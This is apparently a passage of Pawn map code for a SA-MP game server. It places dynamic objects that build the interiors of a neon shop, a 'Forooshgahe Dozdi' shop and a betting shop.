	CreateDynamicObject(2009,-199.6999969,-1751.0999756,674.8010254,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(1671,-197.6000061,-1753.0000000,675.2000122,0.0000000,0.0000000,282.0000000);
	CreateDynamicObject(1671,-196.8000031,-1751.3000488,675.2000122,0.0000000,0.0000000,260.0000000);
	CreateDynamicObject(1671,-199.8000031,-1752.0999756,675.2000122,0.0000000,0.0000000,84.0000000);
	CreateDynamicObject(1671,-199.8000031,-1753.8000488,675.2000122,0.0000000,0.0000000,104.0000000);
	CreateDynamicObject(2009,-196.0000000,-1757.1999512,674.7999878,0.0000000,0.0000000,180.0000000);
	CreateDynamicObject(1999,-197.6999969,-1758.1999512,674.8010254,0.0000000,0.0000000,180.0000000);
	CreateDynamicObject(1671,-196.8999939,-1757.3000488,675.2000122,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1671,-198.6999969,-1758.0000000,675.2000122,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2202,-196.0000000,-1746.1999512,674.7800293,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(2811,-195.8999939,-1745.0999756,674.7999878,0.0000000,0.0000000,115.9932861);
	CreateDynamicObject(2007,-196.0000000,-1748.3000488,674.7999878,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(2007,-196.0000000,-1749.3000488,674.7999878,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(2811,-200.8999939,-1758.3000488,674.7999878,0.0000000,0.0000000,141.9881592);
	CreateDynamicObject(2611,-198.1999969,-1758.6700439,676.7999878,0.0000000,0.0000000,180.0000000);
	CreateDynamicObject(2611,-201.2700043,-1746.4000244,676.5999756,0.0000000,0.0000000,89.9945068);
	CreateDynamicObject(19449,-215.8000031,-1763.6999512,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19449,-201.3999939,-1768.5000000,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19449,-195.3999939,-1771.6999512,676.5000000,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2885,-200.8999939,-1768.3000488,678.4000244,270.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-201.3990021,-1767.5799561,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-195.4010010,-1771.6999512,673.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(19460,-195.5000000,-1768.5000000,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19460,-201.3000031,-1768.6999512,679.9000244,0.0000000,179.9945068,0.0000000);
	CreateDynamicObject(19449,-196.6000061,-1772.4000244,676.5000000,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-196.6000061,-1772.3990479,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(19460,-196.6000061,-1772.3000488,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(14487,-190.8999939,-1778.1999512,678.0999756,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1789,-211.8000031,-1753.0999756,675.2999878,0.0000000,0.0000000,290.0000000);
	CreateDynamicObject(1789,-211.8994141,-1759.1992188,675.2999878,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(1789,-210.1999969,-1737.6999512,675.2999878,0.0000000,0.0000000,99.9951172);
	CreateDynamicObject(1800,-199.0000000,-1759.5000000,674.7000122,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(1800,-199.0000000,-1771.5000000,674.7000122,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(1800,-199.0000000,-1767.5999756,674.7000122,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(1800,-199.0000000,-1763.6999512,674.7000122,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(1800,-200.6999969,-1766.9000244,674.7000122,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1800,-200.6999969,-1773.3000488,674.7000122,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1789,-196.1999969,-1770.6999512,675.2999878,0.0000000,0.0000000,180.0000000);
	CreateDynamicObject(1789,-196.1999969,-1766.6999512,675.2999878,0.0000000,0.0000000,179.9945068);
	CreateDynamicObject(1789,-196.1999969,-1762.9000244,675.2999878,0.0000000,0.0000000,179.9945068);
	CreateDynamicObject(1789,-196.3000031,-1760.6999512,675.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1789,-200.5000000,-1766.1999512,675.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(1789,-200.5000000,-1769.4000244,675.2999878,0.0000000,0.0000000,180.0000000);
	CreateDynamicObject(19460,-216.0000000,-1763.5999756,679.9000244,0.0000000,179.9945068,90.0000000);
	CreateDynamicObject(1999,-197.5000000,-1740.4000244,674.7999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(1671,-196.5000000,-1739.3000488,675.2000122,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(19460,-215.8999939,-1763.6989746,673.2999878,0.0000000,0.0000000,90.0000000);
	CreateDynamicObject(16101,-212.3000031,-1748.6999512,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-213.8000031,-1748.6999512,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-213.8000031,-1748.9000244,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(16101,-212.3000031,-1748.9000244,666.2999878,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2852,-206.8000031,-1742.8000488,675.2800293,0.0000000,0.0000000,0.0000000);
	CreateDynamicObject(2315,-206.8000031,-1742.4000244,674.7999878,0.0000000,0.0000000,270.0000000);
	CreateDynamicObject(2855,-206.6999969,-1743.6999512,675.2999878,0.0000000,0.0000000,0.0000000);

	pole1 = CreateDynamicObject(11435,-204.3999939,-1745.0999756,679.4000244,0.0000000,0.0000000,270.0000000);
	pole2 = CreateDynamicObject(11435,-204.3999939,-1752.0000000,679.4000244,0.0000000,0.0000000,270.0000000);
	pole3 = CreateDynamicObject(11435,-204.3999939,-1758.8000488,679.4000244,0.0000000,0.0000000,270.0000000);
	pole4 = CreateDynamicObject(11435,-198.6000061,-1764.0000000,679.4000244,0.0000000,0.0000000,270.0000000);
	pole5 = CreateDynamicObject(11435,-198.6000061,-1769.1999512,679.4000244,0.0000000,0.0000000,270.0000000);
	pole6 = CreateDynamicObject(11435,-198.6000061,-1756.3000488,679.4000244,0.0000000,0.0000000,270.0000000);
	pole7 = CreateDynamicObject(11435,-198.6000061,-1749.9000244,679.4000244,0.0000000,0.0000000,270.0000000);

	SetDynamicObjectMaterial(pole1, 1, 14532, "drivingbit", "blak_1");
	SetDynamicObjectMaterial(pole2, 1, 14532, "drivingbit", "blak_1");
	SetDynamicObjectMaterial(pole3, 1, 14532, "drivingbit", "blak_1");
	SetDynamicObjectMaterial(pole4, 1, 14532, "drivingbit", "blak_1");
	SetDynamicObjectMaterial(pole5, 1, 14532, "drivingbit", "blak_1");
	SetDynamicObjectMaterial(pole6, 1, 14532, "drivingbit", "blak_1");
	SetDynamicObjectMaterial(pole7, 1, 14532, "drivingbit", "blak_1");




// Neon Shop
CreateDynamicObject(19907, -1430.69385, -954.02899, 199.97836,   0.00000, 0.00000, 181.49995);
CreateDynamicObject(19817, -1429.21802, -966.01501, 200.06650,   0.00000, 0.00000, 95.64001);
CreateDynamicObject(19815, -1435.96594, -964.08936, 203.41670,   0.00000, 0.00000, 91.56000);
CreateDynamicObject(19815, -1435.96594, -964.08936, 202.45703,   0.00000, 0.00000, 91.56000);
CreateDynamicObject(19815, -1435.96594, -964.08936, 201.49715,   0.00000, 0.00000, 91.56000);
CreateDynamicObject(19815, -1436.02502, -961.13818, 203.41670,   0.00000, 0.00000, 91.56000);
CreateDynamicObject(19815, -1436.02502, -961.13818, 202.48372,   0.00000, 0.00000, 91.56000);
CreateDynamicObject(19815, -1436.02502, -961.13818, 201.51186,   0.00000, 0.00000, 91.56000);
CreateDynamicObject(19812, -1435.88928, -948.85077, 200.53712,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19812, -1422.64758, -948.60742, 200.65413,   -31.13999, 14.34000, 2.40000);
CreateDynamicObject(1498, -1436.93835, -940.05469, 199.80421,   0.00000, 0.00000, 0.96000);
CreateDynamicObject(1498, -1439.03320, -954.99359, 199.79428,   0.00000, 0.00000, 1.62000);
CreateDynamicObject(1498, -1436.16821, -954.90619, 199.79428,   0.00000, 0.00000, 180.36012);
CreateDynamicObject(1498, -1435.44580, -948.33197, 200.12128,   0.00000, 0.00000, -4.62000);
CreateDynamicObject(1498, -1432.32666, -948.34741, 200.12128,   0.00000, 0.00000, 180.77977);
CreateDynamicObject(19900, -1435.52869, -968.00537, 200.10266,   0.00000, 0.00000, 181.38013);
CreateDynamicObject(19900, -1435.64771, -963.39148, 200.10266,   0.00000, 0.00000, 181.50012);
CreateDynamicObject(19906, -1421.89893, -960.43750, 206.27841,   0.00000, 0.00000, 90.84003);
CreateDynamicObject(19906, -1422.05005, -954.97797, 206.24570,   0.00000, 0.00000, 91.26002);
// End of Neon Shop



// Forooshgahe Dozdi
CreateDynamicObject(14738, 750.17676, 1456.32861, 1104.35913,   0.00000, 0.00000, 0.00000, .interiorid=102);
CreateDynamicObject(14739, 750.24561, 1456.33801, 1104.24658,   0.00000, 0.00000, 0.11999, .interiorid=102);
CreateDynamicObject(1557, 740.10895, 1457.67859, 1101.75232,   0.00000, 0.00000, 88.02003, .interiorid=102);
CreateDynamicObject(19362, 742.47107, 1452.21521, 1102.55811,   0.00000, 0.00000, 92.10002, .interiorid=102);
CreateDynamicObject(19360, 745.29462, 1452.38464, 1103.62500,   0.00000, 0.00000, 91.79995, .interiorid=102);
CreateDynamicObject(19360, 746.69531, 1452.38574, 1103.62500,   0.00000, 0.00000, 91.79995, .interiorid=102);
CreateDynamicObject(19360, 746.69531, 1452.38574, 1104.16431,   0.00000, 0.00000, 91.79995, .interiorid=102);
CreateDynamicObject(19360, 745.29462, 1452.38464, 1104.16309,   0.00000, 0.00000, 91.79995, .interiorid=102);
CreateDynamicObject(19360, 754.76483, 1457.97449, 1101.00183,   0.00000, 0.00000, -89.64000, .interiorid=102);
CreateDynamicObject(19360, 753.67542, 1458.00842, 1100.87939,   0.00000, -0.36000, -86.82001, .interiorid=102);
CreateDynamicObject(19360, 752.03326, 1459.51648, 1100.94543,   0.00000, 0.00000, -0.18000, .interiorid=102);
CreateDynamicObject(19360, 754.79144, 1458.40173, 1100.87793,   0.00000, 0.00000, 90.54001, .interiorid=102);
CreateDynamicObject(19360, 752.38007, 1459.44104, 1100.81824,   0.00000, 0.00000, 0.00000, .interiorid=102);
CreateDynamicObject(19360, 754.47089, 1460.09595, 1101.01782,   0.00000, 0.00000, -90.05995, .interiorid=102);
CreateDynamicObject(2941, 755.60516, 1458.11731, 1102.87720,   0.00000, 0.00000, 0.54000, .interiorid=102);
CreateDynamicObject(19807, 752.68549, 1458.01599, 1102.80981,   0.00000, 0.00000, 115.44002, .interiorid=102);
CreateDynamicObject(1671, 753.29993, 1459.23792, 1102.13940,   0.00000, 0.00000, 33.78000, .interiorid=102);
CreateDynamicObject(2001, 750.32227, 1452.54321, 1101.73730,   0.00000, 0.00000, 0.00000, .interiorid=102);
// End of Forooshgahe Dozdi






// Start of betshop
CreateDynamicObject(18766, 2307.15161, -1983.80212, 14.95124,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(18766, 2306.45264, -1983.75671, 19.44730,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(18766, 2316.49512, -1983.81812, 14.91129,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(18766, 2315.82471, -1983.78467, 19.44320,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(18766, 2320.43384, -1983.83020, 19.44257,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(18766, 2324.99438, -1988.42383, 14.55769,   0.00000, 0.00000, 87.59999);
CreateDynamicObject(18766, 2325.00732, -1988.31824, 19.44146,   0.00000, 0.00000, 87.24002);
CreateDynamicObject(18766, 2324.57153, -1997.75647, 14.90695,   0.00000, 0.00000, 88.08001);
CreateDynamicObject(18766, 2324.60767, -1997.94165, 19.45571,   0.00000, 0.00000, 88.08002);
CreateDynamicObject(18766, 2305.41675, -2002.58167, 14.85140,   0.00000, 0.00000, 1.56000);
CreateDynamicObject(18766, 2305.39038, -2002.58069, 19.43036,   0.00000, 0.00000, 1.32000);
CreateDynamicObject(18766, 2314.75171, -2002.27405, 14.86139,   0.00000, 0.00000, 1.98000);
CreateDynamicObject(18766, 2314.72070, -2002.29309, 19.39930,   0.00000, 0.00000, 2.10000);
CreateDynamicObject(18766, 2318.87891, -2002.13135, 14.86744,   0.00000, 0.00000, 2.46000);
CreateDynamicObject(18766, 2318.88892, -2002.10901, 19.47228,   0.00000, 0.00000, 1.80000);
CreateDynamicObject(19370, 2304.31958, -2000.66760, 12.49892,   -360.17960, 269.99982, -179.70004);
CreateDynamicObject(19370, 2307.49463, -2000.66760, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2310.77441, -2000.66760, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2314.09155, -2000.64124, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2317.33716, -2000.60388, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2320.25854, -2000.58667, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2323.19336, -2000.57947, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2303.84131, -1997.51099, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2306.98364, -1997.49414, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2309.97461, -1997.46533, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2313.29810, -1997.44678, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2316.66626, -1997.45081, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2319.99048, -1997.44128, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2322.44995, -1997.43616, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2304.04224, -1991.16089, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2311.09033, -1994.27600, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2307.65649, -1994.31372, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2304.25220, -1994.37109, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2314.40601, -1994.28601, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2317.50244, -1994.29578, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2320.76465, -1994.28467, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2322.52930, -1994.24341, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2307.48413, -1991.15771, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2310.95166, -1991.17029, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2314.35376, -1991.15210, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2317.67188, -1991.09888, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2321.02417, -1991.10120, 12.48481,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2322.59180, -1991.14612, 12.48482,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2322.53638, -1988.01843, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2319.03174, -1988.06860, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2315.66675, -1988.05225, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2312.35596, -1988.05164, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2308.98975, -1988.09778, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2305.73633, -1988.11353, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2304.11743, -1988.16492, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2310.86353, -1985.13806, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2314.24854, -1985.41699, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2304.27075, -1985.83228, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2317.57642, -1985.25574, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2320.98267, -1985.31201, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2322.87866, -1985.80066, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2307.56299, -1985.89685, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(18766, 2302.61475, -1989.23975, 14.95218,   0.00000, 0.00000, 90.78000);
CreateDynamicObject(18766, 2302.61475, -1989.23975, 19.46535,   0.00000, 0.00000, 90.78000);
CreateDynamicObject(18766, 2302.72290, -1997.20349, 14.95218,   0.00000, 0.00000, 90.78000);
CreateDynamicObject(18766, 2302.72290, -1997.20349, 19.46214,   0.00000, 0.00000, 90.78000);
CreateDynamicObject(19360, 2304.93945, -2002.10474, 14.32727,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2304.93945, -2002.10474, 17.42084,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2304.93945, -2002.10474, 20.13545,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2308.05078, -2002.03723, 14.32727,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2308.05078, -2002.03723, 17.67399,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2308.05078, -2002.03723, 20.14534,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2311.00879, -2001.91846, 14.32727,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2311.00879, -2001.91846, 17.77225,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2311.00879, -2001.91846, 20.17258,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2314.09155, -2001.83728, 14.32727,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2314.09155, -2001.83728, 17.66983,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2314.09155, -2001.83728, 20.15850,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2317.17285, -2001.73303, 14.32727,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2317.17285, -2001.73303, 17.64849,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2317.17285, -2001.73303, 20.13990,   0.00000, 0.00000, 91.55998);
CreateDynamicObject(19360, 2320.33716, -2001.60730, 14.32727,   0.00000, 0.00000, 92.51997);
CreateDynamicObject(19360, 2320.33716, -2001.60730, 17.72993,   0.00000, 0.00000, 92.51997);
CreateDynamicObject(19360, 2320.33716, -2001.60730, 20.14427,   0.00000, 0.00000, 92.51997);
CreateDynamicObject(19360, 2322.32202, -2001.51660, 14.32727,   0.00000, 0.00000, 92.51997);
CreateDynamicObject(19360, 2322.37549, -2001.53589, 17.72804,   0.00000, 0.00000, 92.51997);
CreateDynamicObject(19360, 2322.46948, -2001.57507, 20.17843,   0.00000, 0.00000, 92.51997);
CreateDynamicObject(19360, 2323.94995, -1999.78369, 14.03392,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2323.94727, -1999.84619, 17.42116,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2323.94995, -1999.78369, 17.31245,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2323.95483, -1999.84082, 20.13375,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.09277, -1996.71436, 14.01523,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.09277, -1996.71436, 16.83654,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.09277, -1996.71436, 20.01286,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.09277, -1996.71436, 20.16057,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19370, 2322.85449, -1988.06042, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19370, 2322.82813, -1991.20251, 12.48482,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19360, 2324.25439, -1993.81897, 14.01523,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.25439, -1993.81897, 17.25326,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.25439, -1993.81897, 20.17123,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.38550, -1991.00439, 14.01523,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.38550, -1991.00439, 17.07432,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.38550, -1991.00439, 20.15326,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.45508, -1987.94946, 14.01523,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.45508, -1987.94946, 17.40462,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.45508, -1987.94946, 20.18067,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19370, 2323.02368, -1985.31079, 12.49890,   -360.17960, 269.99979, -179.70000);
CreateDynamicObject(19360, 2324.64136, -1985.08618, 14.01523,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.64136, -1985.08618, 15.75715,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.64136, -1985.08618, 19.01451,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2324.64136, -1985.08618, 20.15458,   0.00000, 0.00000, -1.80000);
CreateDynamicObject(19360, 2323.07959, -1984.28015, 20.14709,   0.00000, 0.00000, 90.29996);
CreateDynamicObject(19360, 2323.07959, -1984.28015, 18.71323,   0.00000, 0.00000, 90.29996);
CreateDynamicObject(19360, 2319.80542, -1984.28918, 14.20494,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2319.80542, -1984.28918, 17.28171,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2319.80542, -1984.28918, 20.16219,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2316.77563, -1984.30017, 14.20494,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2316.77563, -1984.30017, 17.51691,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2316.77563, -1984.30017, 20.16671,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2313.68481, -1984.25842, 14.20494,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2313.68481, -1984.25842, 17.31531,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2313.68481, -1984.25842, 20.15840,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2310.54102, -1984.26379, 14.20494,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2310.54102, -1984.26379, 17.16858,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2310.54102, -1984.26379, 20.11864,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2307.47998, -1984.22668, 14.20494,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2307.47998, -1984.22668, 17.60481,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2307.47998, -1984.22668, 20.10998,   0.00000, 0.00000, 90.41998);
CreateDynamicObject(19360, 2304.70166, -1984.23413, 14.20494,   0.00000, 0.00000, 90.71999);
CreateDynamicObject(19360, 2304.70166, -1984.23413, 17.29438,   0.00000, 0.00000, 90.71999);
CreateDynamicObject(19360, 2304.70166, -1984.23413, 20.11927,   0.00000, 0.00000, 90.71999);
CreateDynamicObject(19360, 2303.02368, -1985.84143, 14.10930,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.02368, -1985.84143, 17.38792,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.02368, -1985.84143, 20.17650,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.03540, -1988.84192, 14.10930,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.03540, -1988.84192, 17.40919,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.03540, -1988.84192, 20.18918,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.08789, -1991.82788, 14.10930,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.08789, -1991.82788, 17.36632,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.08789, -1991.82788, 20.19431,   0.00000, 0.00000, 0.66000);
CreateDynamicObject(19360, 2303.10986, -1994.66760, 14.10930,   0.00000, 0.00000, 0.78000);
CreateDynamicObject(19360, 2303.10986, -1994.66760, 17.09831,   0.00000, 0.00000, 0.78000);
CreateDynamicObject(19360, 2303.10986, -1994.66760, 20.18825,   0.00000, 0.00000, 0.78000);
CreateDynamicObject(19360, 2303.15527, -1997.78040, 14.10930,   0.00000, 0.00000, 0.78000);
CreateDynamicObject(19360, 2303.15527, -1997.78040, 17.40385,   0.00000, 0.00000, 0.78000);
CreateDynamicObject(19360, 2303.15527, -1997.78040, 20.21955,   0.00000, 0.00000, 0.78000);
CreateDynamicObject(19360, 2303.19995, -2000.49182, 14.10930,   0.00000, 0.00000, 1.08000);
CreateDynamicObject(19360, 2303.19995, -2000.49182, 17.49674,   0.00000, 0.00000, 1.08000);
CreateDynamicObject(19360, 2303.19995, -2000.49182, 20.21948,   0.00000, 0.00000, 1.08000);
CreateDynamicObject(1649, 2321.23291, -1986.44604, 14.15328,   0.00000, 0.00000, -91.50002);
CreateDynamicObject(1649, 2321.23291, -1986.44604, 15.34860,   0.00000, 0.00000, -91.50002);
CreateDynamicObject(1649, 2323.43872, -1986.01941, 16.90140,   88.32001, 149.21976, -149.76015);
CreateDynamicObject(18766, 2325.21948, -1988.61340, 14.55769,   0.00000, 0.00000, 87.59999);
CreateDynamicObject(1649, 2323.41162, -1986.93115, 16.90140,   88.32001, 149.21976, -149.76015);
CreateDynamicObject(18766, 2321.86230, -1996.69702, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2322.11353, -1989.06458, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2317.07227, -1996.81177, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2317.40186, -1988.96118, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2312.36646, -1997.14026, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2312.52563, -1988.78955, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2307.59375, -1997.15100, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2307.78369, -1989.48254, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2307.90942, -1988.50549, 21.48616,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2305.32324, -1997.69775, 21.56246,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2305.45483, -1991.22205, 21.56246,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(18766, 2305.42847, -1988.86731, 21.56246,   90.66000, 113.10001, -24.72001);
CreateDynamicObject(19806, 2319.02368, -1992.51074, 20.12560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19806, 2319.02441, -1996.65979, 20.12560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19806, 2319.06763, -2000.28552, 20.12560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19806, 2312.88647, -1999.48340, 20.12560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19806, 2313.26733, -1996.53918, 20.12560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19806, 2312.80835, -1993.19373, 20.12560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19806, 2311.60889, -1989.20325, 20.12560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19806, 2317.03247, -1987.23132, 20.12560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2604, 2305.02222, -2000.21667, 13.27468,   0.00000, 0.00000, 88.67999);
CreateDynamicObject(1649, 2303.32251, -1998.38940, 13.71790,   0.00000, 0.00000, 2.34000);
CreateDynamicObject(1649, 2303.96216, -2000.56836, 15.27968,   91.26000, 192.89989, 78.60001);
CreateDynamicObject(1649, 2305.63818, -1998.28064, 13.71790,   0.00000, 0.00000, 2.34000);
CreateDynamicObject(2604, 2304.84106, -1996.44507, 13.27468,   0.00000, 0.00000, 88.67999);
CreateDynamicObject(1649, 2305.45483, -1994.48877, 13.71790,   0.00000, 0.00000, -0.24000);
CreateDynamicObject(1649, 2303.83789, -1996.57007, 15.27968,   91.26000, 192.89989, 78.60001);
CreateDynamicObject(2604, 2304.47119, -1992.58875, 13.27468,   0.00000, 0.00000, 88.67999);
